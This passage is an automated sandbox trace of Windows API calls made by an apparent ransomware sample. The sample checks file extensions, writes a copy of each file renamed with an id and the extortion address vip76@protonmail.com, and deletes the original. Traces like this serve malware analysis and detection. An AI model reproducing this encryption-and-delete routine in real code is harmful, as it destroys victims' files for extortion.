	[0087.601] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString=".jpg") returned 4
	[0087.602] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString=".doc") returned 4
	[0087.602] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.602] lstrlenW (lpString=".docx") returned 5
	[0087.602] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1
	[0087.602] lstrlenW (lpString=".pdf") returned 4
	[0087.602] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString=".xls") returned 4
	[0087.602] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString=".xlsx") returned 5
	[0087.602] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1
	[0087.602] lstrlenW (lpString=".ppt") returned 4
	[0087.602] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString=".zip") returned 4
	[0087.602] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString=".rar") returned 4
	[0087.602] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.602] lstrlenW (lpString=".bz2") returned 4
	[0087.602] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.602] lstrlenW (lpString=".7z") returned 3
	[0087.602] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString=".dbf") returned 4
	[0087.602] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.602] lstrlenW (lpString=".1cd") returned 4
	[0087.602] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.603] lstrlenW (lpString=".jpg") returned 4
	[0087.603] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.603] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.603] lstrlenW (lpString="msvcr100.dll") returned 12
	[0087.603] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.603] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=829264) returned 1
	[0087.603] CloseHandle (hObject=0x38c) returned 1
	[0087.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20
	[0087.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.604] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.604] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.604] GetLastError () returned 0x0
	[0087.604] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xca750, lpOverlapped=0x0) returned 1
	[0087.622] WriteFile (in: hFile=0x368, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xca760, lpOverlapped=0x0) returned 1
	[0087.637] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.638] WriteFile (in: hFile=0x368, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.638] SetEndOfFile (hFile=0x368) returned 1
	[0087.638] CloseHandle (hObject=0x368) returned 1
	[0087.638] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.638] SetEndOfFile (hFile=0x38c) returned 1
	[0087.645] CloseHandle (hObject=0x38c) returned 1
	[0087.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.645] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString=".doc") returned 4
	[0087.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString=".docx") returned 5
	[0087.646] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.646] lstrlenW (lpString=".pdf") returned 4
	[0087.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString=".xls") returned 4
	[0087.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString=".xlsx") returned 5
	[0087.646] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.646] lstrlenW (lpString=".ppt") returned 4
	[0087.646] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString=".zip") returned 4
	[0087.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString=".rar") returned 4
	[0087.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.646] lstrlenW (lpString=".bz2") returned 4
	[0087.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.646] lstrlenW (lpString=".7z") returned 3
	[0087.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString=".dbf") returned 4
	[0087.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString=".1cd") returned 4
	[0087.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.646] lstrlenW (lpString=".jpg") returned 4
	[0087.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0087.647] lstrlenW (lpString=".doc") returned 4
	[0087.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.647] lstrlenW (lpString=".docx") returned 5
	[0088.094] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.094] lstrlenW (lpString=".pdf") returned 4
	[0088.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.094] lstrlenW (lpString=".xls") returned 4
	[0088.094] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.094] lstrlenW (lpString=".xlsx") returned 5
	[0088.094] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.094] lstrlenW (lpString=".ppt") returned 4
	[0088.094] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0088.094] lstrlenW (lpString=".zip") returned 4
	[0088.094] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.094] lstrlenW (lpString=".rar") returned 4
	[0088.094] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.094] lstrlenW (lpString=".bz2") returned 4
	[0088.094] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.094] lstrlenW (lpString=".7z") returned 3
	[0088.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0088.094] lstrlenW (lpString=".dbf") returned 4
	[0088.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0088.094] lstrlenW (lpString=".1cd") returned 4
	[0088.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51
	[0088.094] lstrlenW (lpString=".jpg") returned 4
	[0088.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.094] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0088.095] lstrlenW (lpString="nio.dll") returned 7
	[0088.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 12
	os_tid = 0x3fc

	[0057.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x59dee0
	[0057.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5adee8
	[0057.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492b0
	[0057.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5468b8
	[0057.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5494d8
	[0057.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x39b4020
	[0057.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.881] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d908
	[0057.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492e0
	[0057.881] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5492e0, Size=0x20) returned 0x52d930
	[0057.881] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.881] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.881] Wow64DisableWow64FsRedirection (in: OldValue=0x2e9ff50 | out: OldValue=0x2e9ff50*=0x0) returned 1
	[0057.881] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d908 | out: hHeap=0x4f0000) returned 1
	[0057.881] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d930 | out: hHeap=0x4f0000) returned 1
	[0057.881] Sleep (dwMilliseconds=0x64) 
	[0059.762] Sleep (dwMilliseconds=0x64) 
	[0060.128] lstrcmpiW (lpString1=".cmd", lpString2=".html") returned -1
	[0060.128] lstrlenW (lpString="SetupComplete.cmd") returned 17
	[0060.128] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.129] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=307) returned 1
	[0060.129] CloseHandle (hObject=0x2ec) returned 1
	[0060.129] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0060.129] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.129] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.129] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.129] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.129] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.129] GetLastError () returned 0x0
	[0060.129] ReadFile (in: hFile=0x2ec, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x133, lpOverlapped=0x0) returned 1
	[0060.143] WriteFile (in: hFile=0x2e4, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x140, lpOverlapped=0x0) returned 1
	[0060.144] ReadFile (in: hFile=0x2ec, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.144] WriteFile (in: hFile=0x2e4, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.145] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.145] CloseHandle (hObject=0x2e4) returned 1
	[0060.146] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.146] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.147] CloseHandle (hObject=0x2ec) returned 1
	[0060.147] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0060.147] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1
	[0060.148] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.148] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.148] lstrlenW (lpString=".doc") returned 4
	[0060.148] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.148] lstrlenW (lpString=".docx") returned 5
	[0060.148] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.148] lstrlenW (lpString=".pdf") returned 4
	[0060.148] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.148] lstrlenW (lpString=".xls") returned 4
	[0060.148] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.148] lstrlenW (lpString=".xlsx") returned 5
	[0060.148] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.148] lstrlenW (lpString=".ppt") returned 4
	[0060.148] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.148] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.148] lstrlenW (lpString=".zip") returned 4
	[0060.148] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.148] lstrlenW (lpString=".rar") returned 4
	[0060.148] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString=".bz2") returned 4
	[0060.149] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.149] lstrlenW (lpString=".7z") returned 3
	[0060.149] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString=".dbf") returned 4
	[0060.149] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString=".1cd") returned 4
	[0060.149] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString=".jpg") returned 4
	[0060.149] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString=".doc") returned 4
	[0060.149] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString=".docx") returned 5
	[0060.149] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.149] lstrlenW (lpString=".pdf") returned 4
	[0060.149] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString=".xls") returned 4
	[0060.149] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString=".xlsx") returned 5
	[0060.149] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.149] lstrlenW (lpString=".ppt") returned 4
	[0060.149] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.149] lstrlenW (lpString=".zip") returned 4
	[0060.149] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.149] lstrlenW (lpString=".rar") returned 4
	[0060.149] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.150] lstrlenW (lpString=".bz2") returned 4
	[0060.150] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.150] lstrlenW (lpString=".7z") returned 3
	[0060.150] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.150] lstrlenW (lpString=".dbf") returned 4
	[0060.150] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.150] lstrlenW (lpString=".1cd") returned 4
	[0060.150] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.150] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39
	[0060.150] lstrlenW (lpString=".jpg") returned 4
	[0060.150] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.150] lstrcmpiW (lpString1=".MARKER", lpString2=".html") returned 1
	[0060.150] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0060.150] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.151] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=0) returned 1
	[0060.151] CloseHandle (hObject=0x2ec) returned 1
	[0060.151] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.151] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.151] lstrlenW (lpString=".doc") returned 4
	[0060.151] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0060.151] lstrlenW (lpString=".docx") returned 5
	[0060.151] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0060.151] lstrlenW (lpString=".pdf") returned 4
	[0060.151] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0060.151] lstrlenW (lpString=".xls") returned 4
	[0060.151] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0060.151] lstrlenW (lpString=".xlsx") returned 5
	[0060.151] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0060.151] lstrlenW (lpString=".ppt") returned 4
	[0060.151] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0060.151] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString=".zip") returned 4
	[0060.152] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".rar") returned 4
	[0060.152] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".bz2") returned 4
	[0060.152] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".7z") returned 3
	[0060.152] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0060.152] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString=".dbf") returned 4
	[0060.152] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString=".1cd") returned 4
	[0060.152] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString=".jpg") returned 4
	[0060.152] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.152] lstrlenW (lpString=".doc") returned 4
	[0060.152] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".docx") returned 5
	[0060.152] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0060.152] lstrlenW (lpString=".pdf") returned 4
	[0060.152] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".xls") returned 4
	[0060.152] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0060.152] lstrlenW (lpString=".xlsx") returned 5
	[0060.152] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0060.152] lstrlenW (lpString=".ppt") returned 4
	[0060.152] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.153] lstrlenW (lpString=".zip") returned 4
	[0060.153] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString=".rar") returned 4
	[0060.153] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString=".bz2") returned 4
	[0060.153] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString=".7z") returned 3
	[0060.153] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0060.153] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.153] lstrlenW (lpString=".dbf") returned 4
	[0060.153] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.153] lstrlenW (lpString=".1cd") returned 4
	[0060.153] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0060.153] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0060.153] lstrlenW (lpString=".jpg") returned 4
	[0060.153] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0060.153] Sleep (dwMilliseconds=0x64) 
	[0060.479] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0060.480] lstrlenW (lpString="SetupResources.dll") returned 18
